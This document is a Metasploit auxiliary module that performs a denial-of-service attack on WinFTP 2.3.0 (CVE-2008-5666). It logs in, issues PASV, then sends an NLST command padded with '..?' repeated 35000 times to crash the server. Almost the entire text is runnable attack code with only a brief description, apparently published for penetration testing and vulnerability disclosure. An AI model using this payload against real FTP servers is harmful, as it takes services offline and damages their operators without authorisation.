WinFTP 2.3.0 NLST Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WinFTP 2.3.0 NLST Denial of Service',  
'Description' => %q{  
This module is a very rough port of Julien Bedard's  
PoC. You need a valid login, but even anonymous can  
do it if it has permission to call NLST.  
},  
'Author' => 'kris katterjohn',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2008-5666' ],  
[ 'OSVDB', '49043' ],  
[ 'EDB', '6581' ]  
],  
'DisclosureDate' => '2008-09-26'))  
end  
  
def run  
return unless connect_login  
  
# NLST has to follow a PORT or PASV  
resp = send_cmd(['PASV'])  
  
raw_send("NLST #{'..?' * 35000}\r\n")  
  
disconnect  
end  
end  
`